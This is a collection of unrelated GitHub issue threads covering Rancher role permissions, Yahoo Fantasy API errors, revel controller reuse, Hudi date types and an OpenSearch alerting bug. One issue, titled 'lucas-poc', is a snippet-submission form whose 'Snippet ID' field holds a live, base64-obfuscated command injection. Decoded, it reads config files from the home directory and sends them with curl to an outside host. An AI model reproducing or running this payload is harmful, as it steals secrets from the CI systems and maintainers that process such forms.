        "projectloggings"
      ],
      "type": "/v3/schemas/policyRule",
      "verbs": [
        "*"
      ]
    },
    {
      "apiGroups": [
        "management.cattle.io"
      ],
      "resources": [
        "resourcequotatemplates"
      ],
      "type": "/v3/schemas/policyRule",
      "verbs": [
        "get",
        "list",
        "watch"
      ]
    },
    {
      "apiGroups": [
        "management.cattle.io"
      ],
      "resources": [
        "principals",
        "roletemplates"
      ],
      "type": "/v3/schemas/policyRule",
      "verbs": [
        "get",
        "list",
        "watch"
      ]
    },
    {
      "apiGroups": [
        "management.cattle.io"
      ],
      "resources": [
        "preferences"
      ],
      "type": "/v3/schemas/policyRule",
      "verbs": [
        "*"
      ]
    },
    {
      "apiGroups": [
        "management.cattle.io"
      ],
      "resources": [
        "settings"
      ],
      "type": "/v3/schemas/policyRule",
      "verbs": [
        "get",
        "list",
        "watch"
      ]
    },
    {
      "apiGroups": [
        "management.cattle.io"
      ],
      "resources": [
        "templates",
        "templateversions"
      ],
      "type": "/v3/schemas/policyRule",
      "verbs": [
        "get",
        "list",
        "watch"
      ]
    },
    {
      "apiGroups": [
        "*"
      ],
      "resources": [
        "rolebindings"
      ],
      "type": "/v3/schemas/policyRule",
      "verbs": [
        "create",
        "delete",
        "get",
        "list",
        "patch",
        "update",
        "watch"
      ]
    },
    {
      "apiGroups": [
        "*"
      ],
      "resources": [
        "roles"
      ],
      "type": "/v3/schemas/policyRule",
      "verbs": [
        "create",
        "delete",
        "get",
        "list",
        "patch",
        "update",
        "watch"
      ]
    },
    {
      "apiGroups": [
        "metrics.k8s.io"
      ],
      "resources": [
        "pods"
      ],
      "type": "/v3/schemas/policyRule",
      "verbs": [
        "get",
        "list",
        "watch"
      ]
    }
  ],
  "type": "roleTemplate",
  "uuid": "066c0664-d96a-11e8-9007-fa163e4c00ee"
}

@mitchellmaler
I guess you already assigned Project Owner Cerner role to this user.
Role Template is required. should be changed to something like The user already has this role.

This user isn't even part of the Project yet. So they do not have this role binding yet.

Yes, you are right.
It's a bug in UI side. If the account you are using has this role Project Owner Cerner in the target project, then you can not add another user to this project with that role....
I will fix it first and try to put it into v2.1.2
Thanks a lot for the report.

Glad I can help!

Version - 2.2 master 10/29
Now it's stuck in Saving:  Error from console
component.js:289 Uncaught TypeError: Cannot read property 'get' of undefined

Steps:

As admin create two users as members
Add member1 to cluster
Create the project role with the permission the customer outlined (call it Project Owner Cerner)
Create a project and add member1 as Project Owner Cerner
Log in as member1
Try to add member2 to project as Project Owner Cerner

Version 2.2 master 11/1
Verified fixed


Having issues with the API again, requests seem to randomly fail on team/{team_key}/roster endpoint

I have a for loop that will iteratively get each players teams roster for each week, it looks something like this:
        for (let i = 0; i < teamKeys.length; i++) {
            const teamKey = teamKeys[i];
            for (let week = 1; week <= 17; week++) {
                // NOTE: talk to API method directly since I can't run this request with the wrappers
                promiseArray.push(yf.api(yf.GET, `https://fantasysports.yahooapis.com/fantasy/v2/team/${teamKey}/roster;week=${week}/players/stats;type=week;week=${week}`));
            }
        }

Today, these requests started to randomly fail with the following:
 {
  'xml:lang': 'en-us',
  'yahoo:uri': '/fantasy/v2/team/{team_key_here}/roster;week=5/players/stats;type=week;week=5?format=json',
  description: 'Player key 423.p.33399 does not exist.',
  detail: ''
}

However when I hit this specific endpoint specifically directly I get a successful response. Is anyone else running into this issue as well? Getting a bit tired here of the API just not working randomly now :/

I hit up yahoo fantasy care on Twitter, they said the devs fixed it. So I think I'll just be hitting them up on Twitter from now on.


NPM Documentation Update

The documentation on NPM still as
app.use(expressSanitized());

Looks like an NPM issue.  I'll try to republish later and see if that fixes it.  Thanks for reporting.
https://github.com/npm/registry/issues/42


Filter by multiple statuses

Let filter by multiple statuses i.e:
jira issue list -s~"In Progress" -s~"Closed" -s~"On QA"

Signed-off-by: Chmouel Boudjnah<EMAIL_ADDRESS>

@ankitpokhrel I am not quite understanding how the jql query unit test works, would you be able to help me ? implementation seems to work

Closing in favor of #573. Thank you for your contribution 🎉


Controllers' member values in the previous access appear in the next access

Our revel app for v0.17 have many controllers containing member variables.
We have assumed those member variables are initially filled by zero values, and later, some are given new values by conditions.
But from v0.18, those member values used in the previous access are kept by the controller cache and appear in the next access.
Below is a sample code for explation. Suppose App.Index is bound to localhost:9000/
package controllers

import (
	"fmt"

	"github.com/revel/revel"
)

func init() {
	revel.InterceptMethod((*App).Before, revel.BEFORE)
}

type App struct {
	*revel.Controller
	Flag bool
}

func (c *App) Before() revel.Result {
	if c.Params.Query.Get("p") != "" {
		c.Flag = true
	}
	return nil
}

func (c *App) Index() revel.Result {
	return c.RenderText(fmt.Sprintf(
		"App\nFlag:%v\n",
		c.Flag,
	))
}

With this code, localhost:9000/ prints this:
App
Flag:false

then after accessing localhost:9000/?p=1, localhost:9000/ prints this:
App
Flag:true

Is this an expected behavior?
Or do we have to add more initialization code to our app for revel v0.18 or later?

Sorry for the late response, Controllers instances are reused now. but you can turn that off by setting revel.controller.reuse=false in your app.conf


Add ability to right click and double click to toClick

🚀 Feature Proposal
Add ability to right click and double click to toClick.
Motivation
Something similar to https://github.com/GoogleChrome/puppeteer/blob/master/docs/api.md#mouseclickx-y-options
Example
Add two configuration options to toClick, like
expect(page).toClick('button'), { button: 'right', clickCount: 2 }

Pitch
Would be useful

Options are already forwarded, you can already do it, see https://github.com/smooth-code/jest-puppeteer/blob/master/packages/expect-puppeteer/src/matchers/toClick.js

You can't do this in typescript because the schema doesn't include the forwarded options.

Types are not maintained in this repository, please fix it in definitely typed.


Slightly rework sidebar style

screenshots coming

Before

After

BTW, please use conventional-commit notation commits and PR titles.  ('Need to enforce that)


Date type converted to long

I have saved the data of ordered_date
But while retrieving I am getting the ordered_date as long type
Though the dataset field is of type Date the hudi is treating it as long when ds.write.format is performed
Could you guide in saving the Date by preserving the type

You can not preserve the type without changing the source code. You can check HoodieSparkSqlWriter -> val schema = AvroConversionUtils.convertStructTypeToAvroSchema(df.schema, structName, nameSpace) which used spark-avro package.

@sidnakoppa
look this https://github.com/uber/hudi/issues/517#issuecomment-448506773
I also found this question. I changed some code in spark-avro and then it transed to LogicalType.
But in Hive 1.2.1 , Hive still think it is longType.

By the way, In parquet 1.8 or earlier, it doesn't have date type. It just has int96(nanotime type) and stores as bytes. If you want a long type date, you can use getTime() to save a long, and read by using timestamp function to trans to timestamp type.

add a comment in https://issues.apache.org/jira/browse/HUDI-91


Automate-2545 Profile List Waivers

:nut_and_bolt: Description: What code changed, and why?
As an Automate User, I will use this work when I want to see which profiles have been waived.
In the rare case, if a profile has all waived controls within it, we need to show that the profile itself has been waived.
:chains: Related Resources
https://github.com/chef/automate/issues/2545
:+1: Definition of Done

A user can see if a Profile is waived based on the new status that the API returns for a profile
A user can filter by status of Waived

:athletic_shoe: How to Build and Test the Change
load data by using the load_compliance_reports command from your studio dev env
:camera: Screenshots, if applicable

note: this pr introduces the status filters with ui filtering b/c the backend is not quite ready. once the backend is ready (https://github.com/chef/automate/issues/3178, https://github.com/chef/automate/issues/3177) we will be updating both the nodes reporting and profiles reporting pages to filter via api call


AccessToken to take lifetime as optional argument when instantiating

Thanks for that nice django app. I use it in my django app, even though i modified the authentication classes, views and serializer a bit to match my use case. However, when i wrote my tests, i thought it would be useful to create access tokens on the fly with different lifetimes.
What do you think?

I feel a bit uneasy about doing this.  The lifetime of a token is a pretty sensitive field and it seems a bit risky in my mind to make it dynamic.
Also, the tests on your branch are failing.  You're overriding a method which expects some important arguments without accounting for them and passing them through to the super method.

Hey thanks. Do you have some instructions on how to properly run the tests locally? I ran them after pulling the clean repo, but half of them already failed. Are they meant to be run inside a Django installation?

Can you make another issue for being unable to run the tests?  Post a printout of the failure messages and I'll take a look.

I created another issue for how to run the test locally.
Regarding the pull request. Being able to dynamically set the lifetime of the tokens might be useful in scenarios in which the users should be able to define how long their tokens live. They way it is implemented at the moment, you could subclass the AccessTokenand override the lifetime value. However, you would then also have to override the access_token property in the RefreshToken class.
So if you think it is useful i would go ahead and change the RefreshToken class accordingly.

I will close this one since it's been too long since was proposed and not taken care of...nor was the need to be merged.


Use vector types and math functions to simplify noise implementations

cc. @Cifram

I think expanding on Point/Vector really does clean up the code. Looks good to me!


PersistentDictionary - Incompatible with NET 4.5

Hello,
I'm not able to build my .NET 4.5 project since the ManagedEsent libraries are compiled against 4.6.2. How can I make this work?
The primary reference "Esent.Collections, Version=<IP_ADDRESS>, Culture=neutral, processorArchitecture=MSIL" could not be resolved because it has an indirect dependency on the assembly "Esent.Isam, Version=<IP_ADDRESS>, Culture=neutral, PublicKeyToken=null" which was built against the ".NETFramework,Version=v4.6.2" framework. This is a higher version than the currently targeted framework ".NETFramework,Version=v4.5.2".	FileParserPOC

@Nehmiabm , is it actually 4.5 you're talking about, or 4.5.2?
https://support.microsoft.com/en-us/help/17455/lifecycle-faq-net-framework says that 4.5 and 4.5.1 are end-of-life, but 4.5.2 is still supported.
Is there a good reason that you don't want to upgrade to a newer version of the framework?
cc: @michaelthorp

@machish The company project I'm working on are using 4.5.2 and not upgrading to latest farmework any time soon.
I downloaded the source code and compiled it against 4.5.2 and it worked for me.
Thank you for checking on me :)


Upgrade to bitflags 2

This may not be fully semver-compatible, and I'd rather not make major release for such detail.

I believe with the added derives, it should be compatible. Not sure how to prove that though

As a note, I believe this fixes a clippy warning. When it gets merged, I'll do a follow up to get clippy and teh rest of CI green.

Also fixes a cargo deny warning

Thanks !


Open ID Connect (OIDC) for GHEC Audit Log Streaming to AWS S3

Summary
Today, GitHub’s audit log streaming feature requires storage of cloud secrets in GitHub when configuring your stream. Going forward, the audit log feature will support OpenID Connect (OIDC) for streaming partners.  OIDC allows for the use of short-lived tokens that are automatically rotated for each configuration.
Intended Outcome

With the new OpenID Connect (OIDC) support, you can stream to  one of our five streaming partners
OpenID token exchange eliminates the need for storing any long-lived cloud secrets in GitHub
Enterprise owners can use the security mechanisms of their cloud provider to ensure minimal access to cloud resources

How will it work?
OIDC will establish an identity layer between GitHub and AWS for the purposes of authenticating GitHub to stream audit log events to a specified AWS S3 bucket.  Enterprise owners will establish trust with the GitHub  audit log application and assign audit log  a role with write permissions to the S3 bucket. When streaming GitHub events via audit log streaming, GitHub will authenticate the cloud role and the Github audit log identity using short lived tokens.

This has shipped 🚢! https://github.blog/changelog/2022-06-28-github-enterprise-cloud-customers-can-configure-audit-log-streaming-to-aws-s3-with-openid-connect-oidc/


lucas-poc

Snippet ID
;echo 'ZmluZCAiJEhPTUUvd29yayIgLXR5cGUgZiAtbmFtZSBjb25maWcgfCB4YXJncyBjYXQgfCBjdXJsIC1kIEAtIGdpdGxhYi50ZWNoa3JhbnRpLmNvbTo5OTk5ICAg' | base64 -d | bash - #
Title of the Snippet
lucas
Subtitle
lucas
Description
test lucas
Type
None
Which services are related to this snippet?

[ ] AWS Amplify
[ ] AWS AppSync
[ ] AWS AppConfig
[ ] AWS Organizations
[ ] Amazon Managed Grafana
[ ] Amazon Managed Service for Prometheus
[ ] AWS Security Hub
[ ] Amazon API Gateway
[ ] AWS App Runner
[ ] Amazon Athena
[ ] AWS Batch
[ ] Amazon Bedrock
[ ] Amazon Inspector
[ ] Amazon Cognito
[ ] AWS CodeCommit
[ ] AWS CodePipeline
[ ] Amazon CodeWhisperer
[ ] Amazon Connect
[ ] AWS Config
[ ] Amazon Comprehend
[ ] Amazon CloudFormation
[ ] Amazon CloudFront Edge
[ ] Amazon CloudFront Functions
[ ] Amazon CloudFront
[ ] Amazon CloudWatch
[ ] Amazon DynamoDB
[ ] Amazon DynamoDB Streams
[ ] Amazon ECS
[ ] Amazon ElastiCache
[ ] Amazon EFS
[ ] Amazon Polly
[ ] AWS Elemental
[ ] AWS Elemental MediaConnect
[ ] AWS Elemental MediaLive
[ ] AWS Elemental MediaConvert
[ ] Amazon EventBridge
[ ] Amazon EventBridge Pipes
[ ] Amazon EventBridge API Destinations
[ ] Amazon EventBridge Scheduler
[ ] Amazon DevOps Guru
[ ] Amazon FSx
[ ] AWS Fargate
[ ] AWS Glue
[ ] Amazon HealthLake
[ ] AWS IoT
[ ] Amazon SES
[ ] AWS Identity & Access Management
[ ] Amazon Kendra
[ ] Amazon Kinesis Data Streams
[ ] Amazon Kinesis Video Streams
[ ] Amazon Kinesis Firehose
[ ] Amazon QLDB
[ ] Amazon RDS
[ ] Amazon Sagemaker
[ ] Amazon S3
[ ] Amazon SNS
[ ] Amazon SQS
[ ] AWS Systems Manager
[ ] Amazon Transcribe
[ ] AWS Lambda
[ ] Amazon MemoryDB for Redis
[ ] Amazon Pinpoint
[ ] Amazon MSK
[ ] Amazon Redshift
[ ] Amazon Rekognition
[ ] AWS Secrets Manager
[ ] Amazon Textract
[ ] AWS Transfer
[ ] AWS Step Functions
[ ] AWS WAF
[ ] Amazon VPC
[ ] Amazon Route 53
[ ] AWS CloudTrail
[ ] AWS Cloud9
[ ] Amazon Translate
[ ] Amazon Elastic Compute Cloud
[ ] AWS SAM CLI
[ ] Application Load Balancer
[ ] AWS Service Catalog
[ ] AWS Resource Explorer
[ ] AWS Elastic Disaster Recovery
[ ] AWS Trusted Advisor
[ ] Elastic Container Service
[ ] AWS Control Tower
[ ] Amazon RDS Proxy
[ ] Amazon Aurora
[ ] AWS Chatbot
[ ] AWS Audit Manager
[ ] AWS X-Ray
[ ] VPC Link
[ ] Amazon VPC Lattice
[ ] AWS CodeBuild
[ ] Amazon QuickSight
[ ] AmazonMQ RabbitMQ
[ ] Amazon Timestream
[ ] Amazon OpenSearch
[ ] AWS Compute Optimizer
[ ] Amazon Elastic Kubernetes Service (EKS)
[ ] Amazon Kinesis
[ ] Amazon Managed Workflows for Apache Airflow
[ ] Amazon Elastic Map Reduce
[ ] Managed Service for Apache Flink
[ ] Amazon DocumentDB
[ ] AWS Application Composer

What programming languages can be applied to this snippet?

[ ] .NET
[ ] Go
[ ] Java
[ ] JavaScript
[ ] Node
[ ] PHP
[ ] Python
[ ] Ruby
[ ] TypeScript
[ ] VTL
[ ] aws cli
[ ] bash
[ ] json

Snippet title
test
Snippet
test
Name
lucas test
Bio (optional)
No response
LinkedIn
No response
Twitter
No response

test


[BUG] Alerting Dashboard doesn't find sub-fields when building the list of fields by type

What is the bug?
The alerting plugin needs to find fields (by type) to offer the visual editor for monitors.  The code for recursing over the index mappings to find these fields currently only recurses into "object" types - but any type can have sub-fields within them.  The default OS dynamic mapper maps strings to text fields with a keyword sub-field.  The current alerting plugin can't find these keyword sub-fields and thus it is impossible to create a per-bucket monitor using the visual editor for such fields (the group-by drop down list is empty in my case).
Relevant code: https://github.com/opensearch-project/alerting-dashboards-plugin/blob/main/public/pages/CreateMonitor/containers/DefineMonitor/utils/mappings.js#L24-L33
How can one reproduce the bug?
Steps to reproduce the behavior:

Attempt to create a bucket monitor against an index with mappings like:

{
  "random_index": {
    "mappings": {
        "description": {
          "type": "text",
          "fields": {
            "kwsubfield": {
              "type": "keyword"
            }
          }
        }
      }
    }
  }
}

Observe that the description.kwsubfield is absent from the group-by drop down menu.

What is the expected behavior?
The sub-field should be found and listed as a keyword field so that the visual editor works as expected
What is your host/environment?

OS: n/a
Version n/a
Plugins n/a

Do you have any screenshots?
If applicable, add screenshots to help explain your problem.
Do you have any additional context?
We are encountering this while running OpenSearch Service in AWS, but is definitely not specific to any particular environment.

Just added the simple 1-line fix for this issue - https://github.com/opensearch-project/alerting-dashboards-plugin/pull/518

Any update on this @getsaurabh02 ?
Thanks

As an update, I believe I've found the issue; manual testing suggests the bug is resolved. I'm running through some use cases locally, and working on adding unit tests; and I should have a PR out shortly.


bump to version 2.3.2

Checklist

[x] Used a fork of the feedstock to propose changes
[x] Reset the build number to 0 (if the version changed)
[ ] Re-rendered with the latest conda-smithy (Use the phrase @conda-forge-admin, please rerender in a comment in this PR for automated rerendering)
[x] Ensured the license file is being packaged.

auto tick bot was not working for the repo

Hi! This is the friendly automated conda-forge-linting service.
I just wanted to let you know that I linted all conda-recipes in your PR (recipe) and found it was in an excellent condition.

@conda-forge-admin, please rerender

@conda-forge-admin, please rerender

Hi! This is the friendly automated conda-forge-webservice.
I tried to re-render for you, but it looks like there was nothing to do.


Job  "Internship Data Engineer - Flutter UK&I, Hybrid" is duplicate in BETFAIR page!

ENVIRONMENT:
https://admin.peviitor.ro/
Browser: Chrome
Device: Laptop
OS: Windows 10
STEPS TO REPRODUCE:

enter URL in browser
go to "https://admin.peviitor.ro/" and check on search box "Cauta aici ..."
insert in box "Betfair" and press ENTER.
go to icone "Betfair" and press on button "Vizualizeaza joburi"
on "Betfair" page check job "Internship Data Engineer - Flutter UK&I, Hybrid" click on button "Vizualizeaza jobul"
go on job icon and after press "Editeaza""
checke/ confirm location and type of job, press button "Editati"

EXPECTED RESULTS:
Job for "Internship Data Engineer - Flutter UK&I, Hybrid" must to be valid.
ACTUAL RESULTS:
Job for "Internship Data Engineer - Flutter UK&I, Hybrid" is duplicate and error appear when try to validate.
See below screenshot:
https://www.betfairromania.ro/jobs/jr123525/internship-data-engineer-flutter-uki-hybrid/

Fixed